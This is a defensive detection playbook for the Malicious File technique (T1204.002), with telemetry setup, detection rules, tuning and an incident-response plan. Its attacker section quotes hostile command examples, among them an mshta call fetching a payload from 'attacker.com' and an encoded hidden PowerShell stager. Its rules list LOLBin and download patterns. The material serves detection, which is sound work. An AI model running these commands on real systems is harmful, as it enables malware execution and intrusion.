| Technique | Malicious File (T1204.002) |
| Tactic | Execution |
| Platforms | Linux, macOS, Windows |
Overview
Malicious File (T1204.002) describes an attacker tricking a user into opening a weaponized file — such as a macro-enabled Office document, a disguised executable, a malicious PDF, or a container file like an ISO — to achieve code execution on the target system. The attacker typically delivers the file via spearphishing email, a shared drive, or a compromised internal resource, and relies on social engineering to convince the user to bypass any warnings and open it.
This technique sits at the very front door of most intrusions. Because it requires only a single user action and abuses trusted, everyday applications like Microsoft Word or Adobe Reader, it is one of the most consistently observed initial execution methods across ransomware, espionage, and financial fraud campaigns. Every security team needs reliable detection here — stopping execution at this stage prevents the entire downstream attack chain.
Attacker Perspective
Attackers weaponize ordinary files to hand execution to a legitimate, trusted process so that the initial malicious activity blends into normal user behavior.
- Macro-enabled Office documents: A Word or Excel file containing a VBA macro that runs
cmd.exe /c powershell -nop -w hidden -enc [base64]on open, downloading a Cobalt Strike stager from an attacker-controlled domain. - ISO/IMG container files: A password-protected ZIP delivers an ISO containing an
.lnkshortcut that executes an embedded DLL viarundll32.exe payload.dll,EntryPoint— bypassing Mark-of-the-Web (MOTW) protections entirely. - Malicious PDF with embedded JavaScript: A PDF exploiting a reader vulnerability or abusing PDF actions to launch
cmd.exeor drop a payload to%TEMP%when the document is opened in a vulnerable version of Adobe Acrobat. - Trojanized script files (.scr, .cpl, .reg): A file masquerading as a screen saver or control panel applet executes via double-click, launching
mshta.exe http://attacker.com/payload.htaor writing a malicious registry run key directly.
This technique is attractive to attackers because it leverages legitimate, signed system binaries to execute payloads, makes attribution harder, and is difficult to block without disrupting normal business workflows.
Detection Strategy
Required Telemetry
- Windows Process Creation (Sysmon Event ID 1): Deploy Sysmon with a configuration that captures
ParentImage,Image,CommandLine,User, andHashes. Download SwiftOnSecurity or Olaf Hartong’s Sysmon config as a baseline. Alternatively, enable Windows native process auditing via GPO: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation = Success. This generates Event ID 4688. Also enable command-line logging:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1. - Windows Image Load (Sysmon Event ID 7): Required to detect DLL loads by Office processes. Enable in Sysmon config with
<ImageLoad onmatch="include">filtered to Office executables. Be aware this is noisy — filter to specific suspicious DLLs to keep volume manageable. - Windows File Creation (Sysmon Event ID 11): Captures files written to disk by Office applications, including dropped payloads in
%TEMP%,%APPDATA%, andC:\Users\Public. - Windows DNS Query (Sysmon Event ID 22): Captures DNS lookups made by processes. Critical for correlating Office-spawned child processes making outbound resolution requests to attacker infrastructure.
- Windows Network Connection (Sysmon Event ID 3): Captures outbound TCP/UDP connections with
Image,DestinationIp, andDestinationPort. Required to detect beaconing or C2 callouts from spawned child processes. - PowerShell Script Block Logging (Event ID 4104): Enable via GPO:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. This logs the full decoded content of PowerShell scripts, including those launched by malicious macros using encoded commands. - PowerShell Module Logging (Event ID 4103): Enable via GPO:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging = 1. Captures pipeline execution details including arguments. - Windows Security Event Log — Object Access (Event ID 4663): Enable Audit Object Access on sensitive directories to detect Office applications reading or writing executables. Requires SACL configuration on the monitored paths.
- Email Gateway / Attachment Logs: Logs from O365 Defender, Proofpoint, Mimecast, or equivalent showing attachment filenames, sender domains, and delivery status. Required for correlating file execution back to an initial delivery event.
- macOS — Endpoint Security Framework / Unified Log: Use an EDR that leverages Apple’s Endpoint Security Framework (e.g., Jamf Protect, CrowdStrike Falcon, or open-source tools like osquery) to capture process creation with parent-child relationships. Enable
execvesyscall auditing viaauditdrules:-a always,exit -F arch=b64 -S execve -k exec_monitor. - Linux — auditd: Add rules to
/etc/audit/rules.d/audit.rules:-a always,exit -F arch=b64 -S execve -k exec_monitorand-w /tmp -p rwxa -k tmp_write. Forward logs to your SIEM via syslog or Filebeat. - EDR Telemetry: If available (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint), EDR process trees are the single highest-value source for this technique. They provide pre-correlated parent-child chains, file hashes, and network events without requiring you to manually join multiple log sources.
Key Indicators
- Suspicious Office child processes (Windows): In Sysmon Event ID 1 or Event ID 4688, check
ParentImageending in\winword.exe,\excel.exe,\powerpnt.exe,\onenote.exe, or\outlook.exe, withImagematching\cmd.exe,\powershell.exe,\wscript.exe,\cscript.exe,\mshta.exe,\rundll32.exe,\regsvr32.exe,\certutil.exe, or\bitsadmin.exe. - Encoded PowerShell launched from Office: In
CommandLineof child processes, look for-encor-EncodedCommandcombined with a base64 blob. Example pattern:powershell.exe -nop -w hidden -enc JABX.... This is a near-universal indicator of macro-delivered stagers. - WMIC proxy execution (Windows): In process creation events, look for
Imageending in\WMIC.exewithCommandLinecontainingprocess call createandParentImagebeing an Office binary. This chain indicates the macro is attempting to break the parent-child link to evade detection. - Regsvr32 / Rundll32 with network paths or unusual paths:
CommandLinecontainingregsvr32 /s /u /i:httporrundll32.exe C:\Users\Public\spawned from an Office application, indicating Squiblydoo-style or DLL sideload execution. - Files dropped to user-writable locations by Office processes: Sysmon Event ID 11 with
Imagebeing an Office executable andTargetFilenamematching paths likeC:\Users\*\AppData\Roaming\,C:\Users\*\AppData\Local\Temp\,C:\ProgramData\, orC:\Users\Public\with extensions.exe,.dll,.ps1,.vbs,.bat, or.hta. - Outbound DNS/network from Office child processes: Sysmon Event ID 3 or 22 where
Imageispowershell.exe,cmd.exe, or a LOLBin, and the parent process chain traces back to an Office application. Any externalDestinationIpor newly registered domain resolved shortly after document open is high suspicion. - macOS — Office spawning shell interpreters: In process creation logs,
ParentImagecontainingMicrosoft WordorMicrosoft ExcelwithImageending in/bash,/zsh,/osascript,/curl, or/python3. The combination ofosascriptwith a download utility is particularly high confidence. - ISO/LNK execution chain: Process creation showing
explorer.exeorsvchost.exemounting a disk image, followed byrundll32.exeor a shell executing from a drive letter that does not match standard mapped drives. CheckCommandLinefor.lnkreferences or execution fromD:\,E:\paths not associated with known USB devices. - Script Block Logging (Event ID 4104) red flags: PowerShell blocks containing
IEX(Invoke-Expression),DownloadString,WebClient,Net.WebRequest,FromBase64String, orReflection.Assemblyloaded from memory — all strong indicators of in-memory payload staging.
Detection Logic
Rule 1 (Broad — High Sensitivity): Office Application Spawns Shell or Interpreter
IF process_creation.ParentImage ENDSWITH_ANY ['\winword.exe', '\excel.exe', '\powerpnt.exe', '\onenote.exe', '\outlook.exe'] AND process_creation.Image ENDSWITH_ANY ['\cmd.exe', '\powershell.exe', '\wscript.exe', '\cscript.exe', '\mshta.exe', '\rundll32.exe', '\regsvr32.exe', '\certutil.exe', '\bitsadmin.exe', '\msiexec.exe'] THEN alert HIGH
This catches the most common macro execution pattern where an Office app directly spawns a command interpreter or LOLBin. Expected volume is low in most environments but will produce false positives from legitimate add-ins or IT automation — plan to tune. Any alert here warrants at minimum a Tier 1 review.
Rule 2 (Medium — Balanced): Encoded PowerShell with Suspicious Flags Launched from Office
IF process_creation.ParentImage ENDSWITH_ANY ['\winword.exe', '\excel.exe', '\powerpnt.exe', '\outlook.exe'] AND process_creation.Image ENDSWITH '\powershell.exe' AND process_creation.CommandLine CONTAINS_ANY ['-enc', '-EncodedCommand', '-nop', '-NonInteractive', '-w hidden', 'DownloadString', 'IEX'] THEN alert HIGH
This narrows Rule 1 to PowerShell specifically with obfuscation or download indicators in the command line, dramatically reducing false positives. This pattern almost never appears in legitimate business use and should be treated as confirmed malicious pending investigation.
Rule 3 (Medium — WMIC Proxy Execution Chain): Office → WMIC → LOLBin
IF process_creation.ParentImage ENDSWITH_ANY ['\winword.exe', '\excel.exe', '\powerpnt.exe'] AND process_creation.Image ENDSWITH '\WMIC.exe' AND process_creation.CommandLine CONTAINS_ALL ['process', 'call', 'create'] AND process_creation.CommandLine CONTAINS_ANY ['regsvr32', 'rundll32', 'mshta', 'msiexec', 'powershell'] THEN alert HIGH
This catches the WMIC proxy execution pattern used by REvil/Sodinokibi and similar threats to break the parent-child chain. It is low volume and high precision — WMIC spawning a LOLBin from an Office parent is virtually never legitimate.
Rule 4 (Narrow — High Precision): Office Process Drops Executable to Temp or Public Directory
IF file_creation.Image ENDSWITH_ANY ['\winword.exe', '\excel.exe', '\powerpnt.exe', '\onenote.exe', '\outlook.exe'] AND file_creation.TargetFilename MATCHES_REGEX '(?i)(\\AppData\\(Roaming|Local\\Temp)\\|\\Users\\Public\\|\\ProgramData\\).*\.(exe|dll|ps1|vbs|bat|hta|js|scr)$' THEN alert CRITICAL
Office applications writing executables or scripts to user-writable paths is a near-certain indicator of payload staging. This rule has very low false positive rates outside of specific legitimate installer workflows. Treat any hit as a priority investigation.
Tuning Guidance
- Legitimate Office add-ins and macros: Some enterprise environments run approved macros (e.g., finance teams using Excel macros that call VBScript). Identify these by reviewing which users and documents legitimately trigger Rule 1, then exclude specific
CommandLinepatterns or add auser IN [approved_macro_users_group]exception. Never exclude the entire user — scope the exclusion to the specific command pattern. - IT management tooling (SCCM, PDQ, Intune): Software deployment tools may temporarily make Office spawn child processes during patching. Exclude
ParentImage=\sccm.exeor correlate with change management windows. AddAND NOT process_creation.User IN [svc_sccm, svc_intune]to Rule 1 where applicable. - Legitimate certutil use: Certutil is used by some patch management workflows for certificate operations. If your environment uses it legitimately, tune Rule 1 to exclude
CommandLine CONTAINS '-addstore'or'-verify'patterns, but retain alerting oncertutil -urlcacheorcertutil -decodewhich have no legitimate Office-spawned use case. - msiexec from Office: Some Office plugins or updates legitimately invoke msiexec. Tune by excluding
CommandLine CONTAINS '/i'combined with a path underC:\Windows\Installer\or a signed package hash. Alert on any msiexec invocation using a UNC path or HTTP URL regardless. - macOS false positives — osascript: Some legitimate macOS Office automation uses AppleScript. Review hits for
osascriptand check whether the script content (if logged) performs a download or shell execution. Add exclusions for known internal automation scripts by their SHA256 hash rather than by process name. - High-volume image load noise (Sysmon EID 7): The deprecated dsparse.dll rule in the community rules was deprecated precisely because it fires on every Office launch in AD environments. Avoid deploying broad image load rules without first filtering to specific suspicious DLLs. Scope any image load alerting to DLLs outside of
C:\Windows\System32\loaded by Office processes, which is far more actionable.
Community Sigma Rules — The following rules from the SigmaHQ community repository implement detection for this technique. Use Uncoder.io or pySigma to convert them to your SIEM’s query language.
When the Alert Fires: Investigation Steps
- Verify the alert is real and pull the raw event. Go directly to the originating log source (Sysmon Event ID 1 in your SIEM, EDR process tree, or WDAC logs) and confirm the raw event fields —
ParentImage,Image,CommandLine,User,ProcessId, andTimestamp— match what the detection rule fired on. Rule out any known SIEM parsing errors or field extraction issues before proceeding. - Identify the affected host and user, and assess privilege level. Look up the
UserandHostnamein your identity store (Active Directory, Azure AD, or HRMS). Flag immediately if the account has local admin rights, is a domain admin, a service account, or has access to sensitive data systems — this determines your escalation urgency. - Reconstruct the full parent-child process chain. In your EDR or SIEM, pivot on the
ProcessIdandParentProcessIdfields to build the complete execution tree from the Office application through every child and grandchild process. Use Sysmon Event IDs 1 and 5 (process creation and termination) to get start/end times, and capture allCommandLinevalues at every level — pay close attention to base64 blobs, unusual paths, or LOLBin invocations. - Check for files written to disk and retrieve hashes. Query Sysmon Event ID 11 (FileCreate) filtered to the affected
ProcessGuidor username in the 30 minutes around the alert time. For any files dropped in%TEMP%,%APPDATA%,C:\ProgramData\, orC:\Users\Public\, retrieve the SHA256 hash from Sysmon EID 1 or EDR and submit to VirusTotal, your threat intel platform, or MalwareBazaar. Also check for the original document file — locate it on disk or in the user’s Downloads/email attachment folder. - Investigate outbound network connections and DNS queries. Query Sysmon Event IDs 3 and 22 for the affected host in the window around the alert. Look for any external connections or DNS resolutions made by the child processes identified in Step 3. Check resolved domains against threat intel feeds (VirusTotal, Shodan, your TIP), and look for beaconing patterns (regular intervals, unusual ports, connections to hosting providers, or domains registered within the last 30 days).
- Search for lateral movement originating from this host. Query your authentication logs (Windows Security Event IDs 4624, 4648, 4672) and network logs for outbound SMB, RDP, WinRM, or DCOM connections from the affected host to other internal systems in the 4–24 hours following the initial execution event. In your EDR, check for remote process creation or PsExec-style activity with
Image=\PSEXESVC.exeor network logon type 3 events sourced from this host. - Check for newly created persistence mechanisms. On the affected host, query for Sysmon Event IDs 13 (RegistryValue set) focused on run keys (
HKCU\Software\Microsoft\Windows\CurrentVersion\Run,HKLM\...\Run), Sysmon Event ID 11 for files written toC:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\, and Windows Security Event ID 4698 or 4702 for scheduled task creation or modification. Cross-reference with known-good baseline if available. The presence of any new persistence artifact escalates the incident to confirmed compromise.
Response Playbook
Containment
- Isolate the host immediately but leave it powered on. Use your EDR console (CrowdStrike Network Containment, SentinelOne Network Quarantine, or MDE Isolate Device) to cut off network access while preserving volatile memory, running processes, and disk state for forensics. Do not shut the machine down — you will lose in-memory artifacts including injected code, decrypted payloads, and attacker tooling that has not touched disk.
- Disable the affected user account. In Active Directory, use
Disable-ADAccount -Identity [username]or the Azure AD portal to immediately prevent further authentication. If the account has admin privileges, also revoke any active Kerberos tickets by resetting the password (this invalidates existing TGTs):Set-ADAccountPassword -Identity [username] -Reset. - Block identified C2 infrastructure at the perimeter. Submit any malicious IPs, domains, and URLs identified in Step 5 to your firewall team and DNS filtering platform (Umbrella, Zscaler, Pi-hole, or internal DNS RPZ) for immediate blocking. Also add them to your email gateway’s block list to prevent redelivery of the same payload to other users.
- Kill any active malicious processes on the host. If the host is still accessible via EDR before full isolation, terminate identified malicious processes by PID using your EDR’s remote kill capability. Note the PID, process name, and parent before killing — include this in your incident record.
- Preserve the malicious file. Before any remediation, copy the original document or file that triggered execution (from the user’s Downloads, email client, or temp directory) to a secure, isolated malware repository. Calculate and record its SHA256 hash. This is your primary IOC for searching across the wider environment.
Eradication
- Remove all identified persistence mechanisms. Based on findings from Investigation Step 7, delete any malicious registry run keys using
reg deleteor your EDR’s remediation capability, remove scheduled tasks viaschtasks /delete /tn [TaskName] /f, and delete any startup folder entries. Document each artifact removed with its full path and value before deletion. - Hunt for and delete all dropped payloads. Using the file hashes and paths identified during investigation, run an enterprise-wide search across all endpoints via your EDR or SIEM to find any other hosts where the same payload exists. Delete identified files and add their hashes to your EDR’s custom block list or WDAC policy to prevent re-execution.
- Reset credentials for all affected accounts. Reset the password for the user account that executed the malicious file, and for any additional accounts whose credentials may have been harvested (check for LSASS access by the malicious process via Sysmon Event ID 10 targeting
lsass.exe). If a service account or admin account was compromised, treat this as a full credential compromise and rotate all associated secrets. - Inspect all lateral movement targets. For every internal host that received a connection from the compromised system during the investigation window, run the same persistence check (run keys, scheduled tasks, startup items, new services) to confirm the attacker did not successfully pivot and establish a secondary foothold before containment.
- Rotate any exposed API keys, tokens, or certificates. If the malicious process had access to code repositories, cloud credential files (e.g.,
~/.aws/credentials,.envfiles, browser-stored passwords), rotate those credentials immediately and review access logs for the associated services for unauthorized use.
Recovery
- Re-image the host if confidence in full eradication is low. If the malicious process had SYSTEM privileges, ran for an extended period before detection, or if you found evidence of a rootkit or kernel-level implant, do not attempt to clean in place — reimage from a known-good golden image. If the host is being cleaned rather than reimaged, run a full AV and EDR scan post-remediation and verify no malicious processes or files remain before reconnecting to the network.
- Re-enable the user account only after verification. Before restoring the user’s access, confirm through EDR and SIEM review that no persistence mechanisms remain on their primary workstation and any other systems they access. Brief the user on what happened and provide phishing/malicious file awareness guidance to reduce reinfection risk.
- Monitor the affected host and user account for 72 hours post-remediation. Create a temporary, high-sensitivity detection rule scoped to this specific host and user that alerts on any process creation, network connection, or file write that would normally be filtered. Set a 72-hour expiry on this rule. Any anomalous activity during this window should be treated as a reinfection or missed persistence artifact.
- Document the full incident timeline and conduct a lessons-learned review. Record the initial delivery method, the file type and name used, the execution chain, the C2 infrastructure, and all affected systems. Submit new IOCs (file hashes, domains, IPs, registry keys) to your threat intel platform and share with ISAC or relevant peer organizations if appropriate.
- Update detection rules and email security controls based on what you learned. If a specific file type, naming pattern, or delivery method was not caught by existing controls, update your email gateway policy (block or sandbox the relevant extension), add the specific process chain or command-line pattern to your SIEM detection, and re-evaluate whether any of the Required Telemetry listed above was missing from your environment during this incident.
Stay Ahead
Get daily threat intelligence and detection playbooks.
Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.